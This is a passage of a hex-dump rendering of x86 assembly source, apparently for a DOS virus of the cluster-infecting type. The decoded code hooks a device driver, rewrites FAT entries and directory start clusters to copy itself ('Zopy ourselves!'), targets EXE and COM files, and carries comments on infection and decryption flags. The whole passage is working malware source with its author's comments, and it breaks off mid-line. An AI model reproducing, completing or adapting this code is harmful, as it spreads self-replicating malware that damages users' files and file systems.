Cle|ar other| |00004950| 20 62 69 74 73 0a 20 20 | 20 20 20 20 20 20 20 70 | bits. | p| |00004960| 6f 70 20 20 20 61 78 20 | 20 20 20 20 20 20 20 20 |op ax | | |00004970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004980| 20 20 20 20 20 20 3b 20 | 41 58 20 3d 20 63 6c 75 | ; |AX = clu| |00004990| 73 74 65 72 20 6e 75 6d | 62 65 72 0a 20 20 20 20 |ster num|ber. | |000049a0| 20 20 20 20 20 70 75 73 | 68 20 20 61 78 0a 20 20 | pus|h ax. | |000049b0| 20 20 20 20 20 20 20 69 | 6e 63 20 20 20 61 78 20 | i|nc ax | |000049c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000049d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |000049e0| 4e 65 65 64 20 74 6f 20 | 64 6f 20 32 20 63 6f 6e |Need to |do 2 con| |000049f0| 73 65 63 75 74 69 76 65 | 0a 20 20 20 20 20 20 20 |secutive|. | |00004a00| 20 20 70 75 73 68 20 20 | 61 78 20 20 20 20 20 20 | push |ax | |00004a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004a20| 20 20 20 20 20 20 20 20 | 20 3b 20 62 79 74 65 73 | | ; bytes| |00004a30| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |00004a40| 64 78 2c 30 66 68 0a 20 | 20 20 20 20 20 20 20 20 |dx,0fh. | | |00004a50| 74 65 73 74 20 20 64 69 | 2c 64 78 0a 20 20 20 20 |test di|,dx. | |00004a60| 20 20 20 20 20 6a 7a 20 | 20 20 20 68 65 72 65 0a | jz | here.| |00004a70| 20 20 20 20 20 20 20 20 | 20 69 6e 63 20 20 20 64 | | inc d| |00004a80| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |00004a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004aa0| 3b 20 4d 75 6c 74 69 70 | 6c 79 20 62 79 20 31 36 |; Multip|ly by 16| |00004ab0| 0a 20 20 20 20 20 20 20 | 20 20 6d 75 6c 20 20 20 |. | mul | |00004ac0| 64 78 0a 68 65 72 65 3a | 20 20 20 20 6f 72 20 20 |dx.here:| or | |00004ad0| 20 20 5b 73 69 5d 2c 61 | 78 20 20 20 20 20 20 20 | [si],a|x | |00004ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004af0| 20 20 20 3b 20 53 65 74 | 20 63 6c 75 73 74 65 72 | ; Set| cluster| |00004b00| 20 74 6f 20 6e 65 78 74 | 0a 20 20 20 20 20 20 20 | to next|. | |00004b10| 20 20 70 6f 70 20 20 20 | 61 78 20 20 20 20 20 20 | pop |ax | |00004b20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004b30| 20 20 20 20 20 20 20 20 | 20 3b 20 52 65 73 74 6f | | ; Resto| |00004b40| 72 65 20 63 6c 75 73 74 | 65 72 20 6f 66 20 77 72 |re clust|er of wr| |00004b50| 69 74 65 0a 20 20 20 20 | 20 20 20 20 20 63 61 6c |ite. | cal| |00004b60| 6c 20 20 63 6f 6e 76 65 | 72 74 20 20 20 20 20 20 |l conve|rt | |00004b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004b80| 20 20 20 20 3b 20 43 61 | 6c 63 75 6c 61 74 65 20 | ; Ca|lculate | |00004b90| 62 75 66 66 65 72 20 6f | 66 66 73 65 74 0a 20 20 |buffer o|ffset. | |00004ba0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 73 69 2c | m|ov si,| |00004bb0| 65 73 3a 5b 62 78 2b 30 | 65 68 5d 20 20 20 20 20 |es:[bx+0|eh] | |00004bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00004bd0| 47 6f 20 74 6f 20 46 41 | 54 20 65 6e 74 72 79 20 |Go to FA|T entry | |00004be0| 28 69 6e 20 62 75 66 66 | 65 72 29 0a 20 20 20 20 |(in buff|er). | |00004bf0| 20 20 20 20 20 61 64 64 | 20 20 20 73 69 2c 64 78 | add| si,dx| |00004c00| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |00004c10| 61 78 2c 5b 73 69 5d 0a | 20 20 20 20 20 20 20 20 |ax,[si].| | |00004c20| 20 61 6e 64 20 20 20 61 | 78 2c 64 69 0a 6f 6b 3a | and a|x,di.ok:| |00004c30| 20 20 20 20 20 20 6d 6f | 76 20 20 20 64 78 2c 64 | mo|v dx,d| |00004c40| 69 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i | | |00004c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 44 | | ; D| |00004c60| 49 20 3d 20 6d 61 73 6b | 20 66 72 6f 6d 20 22 63 |I = mask| from "c| |00004c70| 6f 6e 76 65 72 74 22 0a | 20 20 20 20 20 20 20 20 |onvert".| | |00004c80| 20 64 65 63 20 20 20 64 | 78 0a 20 20 20 20 20 20 | dec d|x. | |00004c90| 20 20 20 61 6e 64 20 20 | 20 64 78 2c 64 69 20 20 | and | dx,di | |00004ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004cb0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 59 65 72 67 | | ; Yerg| |00004cc0| 21 0a 20 20 20 20 20 20 | 20 20 20 6e 6f 74 20 20 |!. | not | |00004cd0| 20 64 69 0a 20 20 20 20 | 20 20 20 20 20 61 6e 64 | di. | and| |00004ce0| 20 20 20 5b 73 69 5d 2c | 64 69 0a 20 20 20 20 20 | [si],|di. | |00004cf0| 20 20 20 20 6f 72 20 20 | 20 20 5b 73 69 5d 2c 64 | or | [si],d| |00004d00| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |00004d10| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 53 65 74 | | ; Set| |00004d20| 20 5b 73 69 5d 20 74 6f | 20 44 49 0a 0a 20 20 20 | [si] to| DI.. | |00004d30| 20 20 20 20 20 20 63 6d | 70 20 20 20 61 78 2c 64 | cm|p ax,d| |00004d40| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |00004d50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 44 | | ; D| |00004d60| 69 64 20 77 65 20 63 68 | 61 6e 67 65 20 74 68 65 |id we ch|ange the| |00004d70| 20 46 41 54 3f 0a 20 20 | 20 20 20 20 20 20 20 70 | FAT?. | p| |00004d80| 6f 70 20 20 20 61 78 20 | 20 20 20 20 20 20 20 20 |op ax | | |00004d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004da0| 20 20 20 20 20 20 3b 20 | 69 2e 65 2e 20 41 72 65 | ; |i.e. Are| |00004db0| 20 77 65 20 61 6c 72 65 | 61 64 79 20 6f 6e 20 74 | we alre|ady on t| |00004dc0| 68 69 73 0a 20 20 20 20 | 20 20 20 20 20 70 6f 70 |his. | pop| |00004dd0| 20 20 20 64 69 20 20 20 | 20 20 20 20 20 20 20 20 | di | | |00004de0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004df0| 20 20 20 20 3b 20 64 69 | 73 6b 3f 0a 20 20 20 20 | ; di|sk?. | |00004e00| 20 20 20 20 20 6d 6f 76 | 20 20 20 77 6f 72 64 20 | mov| word | |00004e10| 70 74 72 20 63 73 3a 70 | 6f 69 6e 74 65 72 2b 31 |ptr cs:p|ointer+1| |00004e20| 2c 61 78 20 20 20 20 20 | 20 20 20 20 3b 20 4f 75 |,ax | ; Ou| |00004e30| 72 20 6f 77 6e 20 73 74 | 61 72 74 69 6e 67 20 63 |r own st|arting c| |00004e40| 6c 75 73 74 65 72 0a 20 | 20 20 20 20 20 20 20 20 |luster. | | |00004e50| 6a 65 20 20 20 20 5f 72 | 65 61 64 5f 20 20 20 20 |je _r|ead_ | |00004e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004e70| 20 20 20 20 20 20 20 3b | 20 49 66 20 77 65 20 64 | ;| If we d| |00004e80| 69 64 6e 27 74 20 69 6e | 66 65 63 74 2c 20 74 68 |idn't in|fect, th| |00004e90| 65 6e 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |en. | | |00004ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004ec0| 20 20 20 3b 20 6c 65 61 | 76 65 20 74 68 65 20 72 | ; lea|ve the r| |00004ed0| 6f 75 74 69 6e 65 2e 20 | 20 4f 68 0a 20 20 20 20 |outine. | Oh. | |00004ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004ef0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 77 65 | | ; we| |00004f10| 6c 70 2d 6f 2e 0a 20 20 | 20 20 20 20 20 20 20 6d |lp-o.. | m| |00004f20| 6f 76 20 20 20 64 78 2c | 5b 73 69 5d 0a 20 20 20 |ov dx,|[si]. | |00004f30| 20 20 20 20 20 20 70 75 | 73 68 20 20 64 73 0a 20 | pu|sh ds. | |00004f40| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 73 69 | |push si| |00004f50| 0a 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |. | call | |00004f60| 77 72 69 74 65 20 20 20 | 20 20 20 20 20 20 20 20 |write | | |00004f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004f80| 20 3b 20 55 70 64 61 74 | 65 20 74 68 65 20 46 41 | ; Updat|e the FA| |00004f90| 54 0a 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |T. | pop | |00004fa0| 20 73 69 0a 20 20 20 20 | 20 20 20 20 20 70 6f 70 | si. | pop| |00004fb0| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 20 6a | ds. | j| |00004fc0| 6e 7a 20 20 20 5f 72 65 | 61 64 5f 20 20 20 20 20 |nz _re|ad_ | |00004fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00004fe0| 20 20 20 20 20 20 3b 20 | 51 75 69 74 20 69 66 20 | ; |Quit if | |00004ff0| 74 68 65 72 65 27 73 20 | 61 6e 20 65 72 72 6f 72 |there's |an error| |00005000| 0a 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |. | call | |00005010| 64 72 69 76 65 72 0a 20 | 20 20 20 20 20 20 20 20 |driver. | | |00005020| 63 6d 70 20 20 20 5b 73 | 69 5d 2c 64 78 0a 20 20 |cmp [s|i],dx. | |00005030| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 5f 72 65 | j|ne _re| |00005040| 61 64 5f 0a 20 20 20 20 | 20 20 20 20 20 64 65 63 |ad_. | dec| |00005050| 20 20 20 61 78 0a 20 20 | 20 20 20 20 20 20 20 64 | ax. | d| |00005060| 65 63 20 20 20 61 78 0a | 20 20 20 20 20 20 20 20 |ec ax.| | |00005070| 20 6d 75 6c 20 20 20 63 | 78 20 20 20 20 20 20 20 | mul c|x | |00005080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005090| 20 20 20 20 20 20 20 20 | 3b 20 4d 75 6c 74 69 70 | |; Multip| |000050a0| 6c 79 20 62 79 20 73 65 | 63 74 6f 72 73 2f 63 6c |ly by se|ctors/cl| |000050b0| 75 73 74 65 72 0a 20 20 | 20 20 20 20 20 20 20 20 |uster. | | |000050c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000050d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000050e0| 20 20 20 20 20 20 3b 20 | 74 6f 20 66 69 6e 64 20 | ; |to find | |000050f0| 74 68 65 20 73 65 63 74 | 6f 72 20 6f 66 20 74 68 |the sect|or of th| |00005100| 65 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e. | | |00005110| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005130| 20 20 3b 20 77 72 69 74 | 65 0a 20 20 20 20 20 20 | ; writ|e. | |00005140| 20 20 20 61 64 64 20 20 | 20 61 78 2c 64 69 0a 20 | add | ax,di. | |00005150| 20 20 20 20 20 20 20 20 | 61 64 63 20 20 20 64 78 | |adc dx| |00005160| 2c 30 0a 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |,0. | push| |00005170| 20 20 65 73 0a 20 20 20 | 20 20 20 20 20 20 70 6f | es. | po| |00005180| 70 20 20 20 64 73 0a 20 | 20 20 20 20 20 20 20 20 |p ds. | | |00005190| 6d 6f 76 20 20 20 77 6f | 72 64 20 70 74 72 20 5b |mov wo|rd ptr [| |000051a0| 62 78 2b 31 32 68 5d 2c | 32 20 20 20 20 20 20 20 |bx+12h],|2 | |000051b0| 20 20 20 20 20 20 20 3b | 20 42 79 74 65 2f 73 65 | ;| Byte/se| |000051c0| 63 74 6f 72 20 63 6f 75 | 6e 74 0a 20 20 20 20 20 |ctor cou|nt. | |000051d0| 20 20 20 20 6d 6f 76 20 | 20 20 5b 62 78 2b 31 34 | mov | [bx+14| |000051e0| 68 5d 2c 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |h],ax | | |000051f0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 53 74 61 | | ; Sta| |00005200| 72 74 69 6e 67 20 73 65 | 63 74 6f 72 20 23 0a 20 |rting se|ctor #. | |00005210| 20 20 20 20 20 20 20 20 | 74 65 73 74 20 20 64 78 | |test dx| |00005220| 2c 64 78 0a 20 20 20 20 | 20 20 20 20 20 6a 7a 20 |,dx. | jz | |00005230| 20 20 20 6c 65 73 73 0a | 20 20 20 20 20 20 20 20 | less.| | |00005240| 20 6d 6f 76 20 20 20 77 | 6f 72 64 20 70 74 72 20 | mov w|ord ptr | |00005250| 5b 62 78 2b 31 34 68 5d | 2c 2d 31 20 20 20 20 20 |[bx+14h]|,-1 | |00005260| 20 20 20 20 20 20 20 20 | 3b 20 46 6c 61 67 20 65 | |; Flag e| |00005270| 78 74 65 6e 64 65 64 20 | 70 61 72 74 69 74 69 6f |xtended |partitio| |00005280| 6e 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |n. | mov | |00005290| 20 5b 62 78 2b 31 61 68 | 5d 2c 61 78 20 20 20 20 | [bx+1ah|],ax | |000052a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000052b0| 20 20 3b 20 48 61 6e 64 | 6c 65 20 74 68 65 20 73 | ; Hand|le the s| |000052c0| 65 63 74 6f 72 20 6f 66 | 20 74 68 65 0a 20 20 20 |ector of| the. | |000052d0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 5b 62 78 2b | mo|v [bx+| |000052e0| 31 63 68 5d 2c 64 78 20 | 20 20 20 20 20 20 20 20 |1ch],dx | | |000052f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 65 | | ; e| |00005300| 78 74 65 6e 64 65 64 20 | 70 61 72 74 69 74 69 6f |xtended |partitio| |00005310| 6e 0a 6c 65 73 73 3a 20 | 20 20 20 6d 6f 76 20 20 |n.less: | mov | |00005320| 20 5b 62 78 2b 31 30 68 | 5d 2c 63 73 20 20 20 20 | [bx+10h|],cs | |00005330| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005340| 20 20 3b 20 54 72 61 6e | 73 66 65 72 20 61 64 64 | ; Tran|sfer add| |00005350| 72 65 73 73 20 73 65 67 | 6d 65 6e 74 0a 20 20 20 |ress seg|ment. | |00005360| 20 20 20 20 20 20 6d 6f | 76 20 20 20 5b 62 78 2b | mo|v [bx+| |00005370| 30 65 68 5d 2c 31 30 30 | 68 20 20 20 20 20 20 20 |0eh],100|h | |00005380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 61 | | ; a| |00005390| 6e 64 20 74 68 65 20 6f | 66 66 73 65 74 20 28 64 |nd the o|ffset (d| |000053a0| 75 68 29 0a 20 20 20 20 | 20 20 20 20 20 63 61 6c |uh). | cal| |000053b0| 6c 20 20 77 72 69 74 65 | 20 20 20 20 20 20 20 20 |l write| | |000053c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000053d0| 20 20 20 20 3b 20 5a 6f | 70 79 20 6f 75 72 73 65 | ; Zo|py ourse| |000053e0| 6c 76 65 73 21 0a 20 20 | 20 20 20 20 20 20 20 20 |lves!. | | |000053f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005410| 20 20 20 20 20 20 3b 20 | 28 57 65 20 77 61 6e 74 | ; |(We want| |00005420| 20 74 6f 20 74 72 61 76 | 65 6c 29 0a 5f 72 65 61 | to trav|el)._rea| |00005430| 64 5f 3a 20 20 73 74 64 | 0a 20 20 20 20 20 20 20 |d_: std|. | |00005440| 20 20 6c 65 61 20 20 20 | 64 69 2c 5b 62 78 2b 31 | lea |di,[bx+1| |00005450| 63 68 5d 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ch] | | |00005460| 20 20 20 20 20 20 20 20 | 20 3b 20 52 65 73 74 6f | | ; Resto| |00005470| 72 65 20 64 65 76 69 63 | 65 20 64 72 69 76 65 72 |re devic|e driver| |00005480| 20 68 65 61 64 65 72 0a | 20 20 20 20 20 20 20 20 | header.| | |00005490| 20 6d 6f 76 20 20 20 63 | 78 2c 38 20 20 20 20 20 | mov c|x,8 | |000054a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000054b0| 20 20 20 20 20 20 20 20 | 3b 20 66 72 6f 6d 20 74 | |; from t| |000054c0| 68 65 20 73 74 61 63 6b | 0a 6c 6f 61 64 3a 20 20 |he stack|.load: | |000054d0| 20 20 70 6f 70 20 20 20 | 61 78 0a 20 20 20 20 20 | pop |ax. | |000054e0| 20 20 20 20 73 74 6f 73 | 77 0a 20 20 20 20 20 20 | stos|w. | |000054f0| 20 20 20 6c 6f 6f 70 20 | 20 6c 6f 61 64 0a 5f 72 | loop | load._r| |00005500| 65 61 64 3a 20 20 20 63 | 61 6c 6c 20 20 69 6e 5f |ead: c|all in_| |00005510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00005530| 43 61 6c 6c 20 6f 72 69 | 67 69 6e 61 6c 20 64 65 |Call ori|ginal de| |00005540| 76 69 63 65 20 68 61 6e | 64 6c 65 72 0a 0a 20 20 |vice han|dler.. | |00005550| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 63 78 2c | m|ov cx,| |00005560| 39 0a 5f 69 6e 66 5f 73 | 65 63 3a 0a 20 20 20 20 |9._inf_s|ec:. | |00005570| 20 20 20 20 20 6d 6f 76 | 20 20 20 64 69 2c 65 73 | mov| di,es| |00005580| 3a 5b 62 78 2b 31 32 68 | 5d 20 20 20 20 20 20 20 |:[bx+12h|] | |00005590| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 42 79 | | ; By| |000055a0| 74 65 73 2f 53 65 63 74 | 6f 72 0a 20 20 20 20 20 |tes/Sect|or. | |000055b0| 20 20 20 20 6c 64 73 20 | 20 20 73 69 2c 65 73 3a | lds | si,es:| |000055c0| 5b 62 78 2b 30 65 68 5d | 20 20 20 20 20 20 20 20 |[bx+0eh]| | |000055d0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 44 53 3a | | ; DS:| |000055e0| 53 49 20 3d 20 70 6f 69 | 6e 74 65 72 20 74 6f 20 |SI = poi|nter to | |000055f0| 62 75 66 66 65 72 0a 20 | 20 20 20 20 20 20 20 20 |buffer. | | |00005600| 73 61 6c 20 20 20 64 69 | 2c 63 6c 20 20 20 20 20 |sal di|,cl | |00005610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005620| 20 20 20 20 20 20 20 3b | 20 4d 75 6c 74 69 70 6c | ;| Multipl| |00005630| 79 20 62 79 20 35 31 32 | 0a 20 20 20 20 20 20 20 |y by 512|. | |00005640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005660| 20 20 20 20 20 20 20 20 | 20 3b 20 44 49 20 3d 20 | | ; DI = | |00005670| 62 79 74 65 20 63 6f 75 | 6e 74 0a 20 20 20 20 20 |byte cou|nt. | |00005680| 20 20 20 20 78 6f 72 20 | 20 20 63 6c 2c 63 6c 0a | xor | cl,cl.| |00005690| 20 20 20 20 20 20 20 20 | 20 61 64 64 20 20 20 64 | | add d| |000056a0| 69 2c 73 69 20 20 20 20 | 20 20 20 20 20 20 20 20 |i,si | | |000056b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000056c0| 3b 20 47 6f 20 74 6f 20 | 61 64 64 72 65 73 73 20 |; Go to |address | |000056d0| 69 6e 20 74 68 65 20 62 | 75 66 66 65 72 0a 20 20 |in the b|uffer. | |000056e0| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 64 6c 2c | x|or dl,| |000056f0| 64 6c 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dl | | |00005700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00005710| 46 6c 61 67 20 66 6f 72 | 20 61 6e 20 69 6e 66 65 |Flag for| an infe| |00005720| 63 74 69 6f 6e 20 69 6e | 0a 20 20 20 20 20 20 20 |ction in|. | |00005730| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005740| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005750| 20 20 20 20 20 20 20 20 | 20 3b 20 66 75 6e 63 74 | | ; funct| |00005760| 69 6f 6e 20 66 69 6e 64 | 0a 20 20 20 20 20 20 20 |ion find|. | |00005770| 20 20 70 75 73 68 20 20 | 64 73 0a 20 20 20 20 20 | push |ds. | |00005780| 20 20 20 20 70 75 73 68 | 20 20 73 69 0a 20 20 20 | push| si. | |00005790| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 66 69 6e 64 | ca|ll find| |000057a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000057b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 49 | | ; I| |000057c0| 6e 66 65 63 74 20 74 68 | 65 20 64 69 72 65 63 74 |nfect th|e direct| |000057d0| 6f 72 79 0a 20 20 20 20 | 20 20 20 20 20 6a 63 78 |ory. | jcx| |000057e0| 7a 20 20 6e 6f 5f 69 6e | 66 0a 20 20 20 20 20 20 |z no_in|f. | |000057f0| 20 20 20 63 61 6c 6c 20 | 20 77 72 69 74 65 20 20 | call | write | |00005800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005810| 20 20 20 20 20 20 20 20 | 20 20 3b 20 57 72 69 74 | | ; Writ| |00005820| 65 20 69 74 20 62 61 63 | 6b 20 74 6f 20 74 68 65 |e it bac|k to the| |00005830| 20 64 69 73 6b 0a 20 20 | 20 20 20 20 20 20 20 61 | disk. | a| |00005840| 6e 64 20 20 20 65 73 3a | 5b 62 78 2b 34 5d 2c 62 |nd es:|[bx+4],b| |00005850| 79 74 65 20 70 74 72 20 | 30 37 66 68 20 20 20 20 |yte ptr |07fh | |00005860| 20 20 20 20 20 20 3b 20 | 43 6c 65 61 72 20 65 72 | ; |Clear er| |00005870| 72 6f 72 20 62 69 74 20 | 69 6e 20 73 74 61 74 75 |ror bit |in statu| |00005880| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | | |00005890| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000058a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000058b0| 20 20 3b 20 77 6f 72 64 | 0a 6e 6f 5f 69 6e 66 3a | ; word|.no_inf:| |000058c0| 20 20 70 6f 70 20 20 20 | 73 69 0a 20 20 20 20 20 | pop |si. | |000058d0| 20 20 20 20 70 6f 70 20 | 20 20 64 73 0a 20 20 20 | pop | ds. | |000058e0| 20 20 20 20 20 20 69 6e | 63 20 20 20 64 78 20 20 | in|c dx | |000058f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 46 | | ; F| |00005910| 6c 61 67 20 66 6f 72 20 | 61 20 64 65 63 72 79 70 |lag for |a decryp| |00005920| 74 69 6f 6e 20 69 6e 0a | 20 20 20 20 20 20 20 20 |tion in.| | |00005930| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005950| 20 20 20 20 20 20 20 20 | 3b 20 66 75 6e 63 74 69 | |; functi| |00005960| 6f 6e 20 66 69 6e 64 0a | 20 20 20 20 20 20 20 20 |on find.| | |00005970| 20 63 61 6c 6c 20 20 66 | 69 6e 64 20 20 20 20 20 | call f|ind | |00005980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005990| 20 20 20 20 20 20 20 20 | 3b 20 52 65 74 75 72 6e | |; Return| |000059a0| 20 72 69 67 68 74 20 69 | 6e 66 6f 72 6d 61 74 69 | right i|nformati| |000059b0| 6f 6e 20 74 6f 0a 20 20 | 20 20 20 20 20 20 20 20 |on to. | | |000059c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000059d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000059e0| 20 20 20 20 20 20 3b 20 | 63 61 6c 6c 69 6e 67 20 | ; |calling | |000059f0| 70 72 6f 67 72 61 6d 0a | 20 20 20 20 20 20 20 20 |program.| | |00005a00| 20 6a 6d 70 20 20 20 70 | 70 70 0a 0a 3b 2d 2d 2d | jmp p|pp..;---| |00005a10| 2d 2d 2d 2d 2d 53 75 62 | 72 6f 75 74 69 6e 65 73 |-----Sub|routines| |00005a20| 0a 0a 66 69 6e 64 3a 20 | 20 20 20 6d 6f 76 20 20 |..find: | mov | |00005a30| 20 61 78 2c 5b 73 69 2b | 38 5d 20 20 20 20 20 20 | ax,[si+|8] | |00005a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005a50| 20 20 3b 20 43 68 65 63 | 6b 20 66 69 6c 65 6e 61 | ; Chec|k filena| |00005a60| 6d 65 20 65 78 74 65 6e | 73 69 6f 6e 0a 20 20 20 |me exten|sion. | |00005a70| 20 20 20 20 20 20 63 6d | 70 20 20 20 61 78 2c 22 | cm|p ax,"| |00005a80| 58 45 22 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |XE" | | |00005a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 69 | | ; i| |00005aa0| 6e 20 64 69 72 65 63 74 | 6f 72 79 20 73 74 72 75 |n direct|ory stru| |00005ab0| 63 74 75 72 65 0a 20 20 | 20 20 20 20 20 20 20 6a |cture. | j| |00005ac0| 6e 65 20 20 20 63 6f 6d | 0a 20 20 20 20 20 20 20 |ne com|. | |00005ad0| 20 20 63 6d 70 20 20 20 | 5b 73 69 2b 31 30 5d 2c | cmp |[si+10],| |00005ae0| 61 6c 0a 20 20 20 20 20 | 20 20 20 20 6a 65 20 20 |al. | je | |00005af0| 20 20 66 6f 75 6e 64 0a | 63 6f 6d 3a 20 20 20 20 | found.|com: | |00005b00| 20 63 6d 70 20 20 20 61 | 78 2c 22 4f 43 22 0a 20 | cmp a|x,"OC". | |00005b10| 20 20 20 20 20 20 20 20 | 6a 6e 65 20 20 20 67 6f | |jne go| |00005b20| 5f 6f 6e 0a 20 20 20 20 | 20 20 20 20 20 63 6d 70 |_on. | cmp| |00005b30| 20 20 20 62 79 74 65 20 | 70 74 72 20 5b 73 69 2b | byte |ptr [si+| |00005b40| 31 30 5d 2c 22 4d 22 0a | 20 20 20 20 20 20 20 20 |10],"M".| | |00005b50| 20 6a 6e 65 20 20 20 67 | 6f 5f 6f 6e 0a 66 6f 75 | jne g|o_on.fou| |00005b60| 6e 64 3a 20 20 20 74 65 | 73 74 20 20 5b 73 69 2b |nd: te|st [si+| |00005b70| 31 65 68 5d 2c 30 66 66 | 63 30 68 20 3b 20 3e 34 |1eh],0ff|c0h ; >4| |00005b80| 4d 42 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 43 |MB | ; C| |00005b90| 68 65 63 6b 20 66 69 6c | 65 20 73 69 7a 65 20 68 |heck fil|e size h| |00005ba0| 69 67 68 20 77 6f 72 64 | 0a 20 20 20 20 20 20 20 |igh word|. | |00005bb0| 20 20 6a 6e 7a 20 20 20 | 67 6f 5f 6f 6e 20 20 20 | jnz |go_on | |00005bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00005bd0| 20 20 20 20 20 20 20 20 | 20 3b 20 74 6f 20 73 65 | | ; to se| |00005be0| 65 20 69 66 20 69 74 20 | 69 73 20 74 6f 6f 20 62 |e if it |is 